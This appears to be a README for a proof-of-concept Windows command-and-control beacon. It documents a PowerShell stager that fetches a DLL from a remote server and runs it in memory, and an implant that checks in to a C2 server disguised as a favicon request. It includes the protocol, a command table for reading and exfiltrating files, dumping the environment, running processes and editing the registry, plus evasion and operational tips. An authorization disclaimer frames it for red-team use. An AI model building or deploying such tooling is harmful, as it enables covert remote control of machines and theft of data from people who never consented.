Authorization required. This tool is for authorized penetration testing and red team exercises only. Deployment against systems without explicit written permission is illegal.
A two-component proof-of-concept C2 (command-and-control) beacon for Windows red team engagements:
Beacon.cs– Stage 2 implant. A .NET 4.7.2 class library that periodically checks in to a C2 server over HTTPS, receives task instructions, executes them, and returns output on the next check-in.loader.ps1– Stage 1 loader. A PowerShell 5.1 script that fetches the compiled beacon DLL from a remote URL and executes it in-memory without touching disk.
[loader.ps1] ──HTTPS GET──► [Staging server]
│ returns Beacon.dll bytes
│
└─► Assembly.Load(bytes)
│
▼
[Beacon.dll / Kit.Main()]
│
└──HTTPS POST──► [C2 server /favicon.ico]
id=, host=, user=, [result=]
◄── base64-encoded task list ──
The loader never writes the DLL to disk. The beacon runs in the PowerShell process's memory.
| Component | Requirement |
|---|---|
| OS | Windows (x64) |
| PowerShell | 5.1 only (powershell.exe) — not pwsh/PS7+ (CoreCLR host rejects net472 assemblies) |
| .NET | Framework 4.7.2 (ships with Windows 10 1803+) |
| Build tools | csc from .NET Framework 4.8 SDK, or MSBuild 15+ |
| C2 server | Any HTTP(S) listener that speaks the checkin protocol (see below) |
| Field | Default | Description |
|---|---|---|
Host |
127.0.0.1 |
C2 server IP or hostname |
Port |
8443 |
C2 port |
UseTls |
true |
Use HTTPS |
Path |
/favicon.ico |
C2 endpoint path |
TlsVerify |
false |
Validate TLS cert (set true in prod) |
TimeoutMs |
10000 |
HTTP request timeout (ms) |
SleepSec |
10 |
Base check-in interval (seconds) |
JitterPct |
25 |
±% jitter applied to sleep interval |
BackoffStepSec |
5 |
Extra seconds added per consecutive failure |
BackoffCapSec |
120 |
Max backoff cap (seconds) |
UserAgent |
Chrome 120 | HTTP User-Agent string |
Change the $uri variable to point to your staging server hosting Beacon.dll:
$uri = 'https://cdn.yourdomain.com/static/update.dll'Run from a 64-bit PowerShell 5.1 shell:
%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe `
-ExecutionPolicy Bypass -File loader.ps1Change
$ErrorActionPreferenceinloader.ps1fromSilentlyContinuetoStopduring testing so errors surface immediately.
Check-in (POST)
POST /favicon.ico HTTP/1.1
Content-Type: application/x-www-form-urlencoded
id=<8-char hex>&host=<hostname>&user=<domain\user>[&result=<base64>]
id– unique beacon GUID (8 hex chars), assigned at startuphost– target hostnameuser–DOMAIN\usernameof the running processresult– base64-encoded output from the previous check-in's tasks (if any)
Server response
Return an empty body (no tasks) or a base64-encoded, newline/semicolon-delimited task list:
echo Hello World\nps\nwhoami
Base64-encode the above before sending. The beacon decodes it and runs each line as a command.
| Command | Argument | Description |
|---|---|---|
sleep <n> |
seconds | Update beacon check-in interval |
echo / log |
text | Log text and queue for exfil |
ps |
— | List running processes (PID + name) |
whoami |
— | Current user (DOMAIN\user) |
pwd / getwd |
— | Current working directory |
cd <path> |
path | Change working directory |
hostname |
— | Target machine hostname |
sysinfo |
— | OS version, arch, machine name, user |
env |
— | Dump all environment variables |
ver |
— | .NET runtime version |
cat / file <path> |
path | Read and exfil file contents |
mkdir <path> |
path | Create directory |
rm / rmdir <path> |
path | Delete file or directory |
exec / run <cmd> |
command | Execute process, capture stdout+stderr |
kill <pid> |
PID | Kill process by ID |
reg add <hive> <subkey> <value> [data] |
— | Write registry value |
reg delete <hive> <subkey> <value> |
— | Delete registry value |
exit / killbeacon |
— | Terminate the beacon |
Command output is collected in a thread-safe buffer and sent back to the C2 as &result=<base64> on the next check-in.
The beacon writes a local debug log to:
%TEMP%\beacon_<id>.log
Each line is UTC-timestamped. Remove or gate this behind a debug flag before operational use.
Loader errors (if any) are written to:
%TEMP%\ldr_err_<random>.log
- PS7+ incompatible. The
net472assembly will not load underpwsh(CoreCLR). Usepowershell.exe(Windows PowerShell 5.1) only. - TLS validation disabled by default. Both loader and beacon accept any certificate. Set
TlsVerify = trueinBeacon.csand remove the callback override inloader.ps1when using a trusted cert. - No persistence mechanism. This POC does not establish persistence; add a scheduler/registry task externally if needed for the exercise.
- No encryption beyond TLS. Task payloads are base64-encoded, not encrypted. Add payload encryption for higher-fidelity engagements.
- Single-threaded task execution. Tasks run serially in the beacon loop; long-running
execcommands will block check-ins.
This software is provided for demonstration and authorized security testing purposes only. The authors assume no liability for misuse. Always obtain written authorization before use.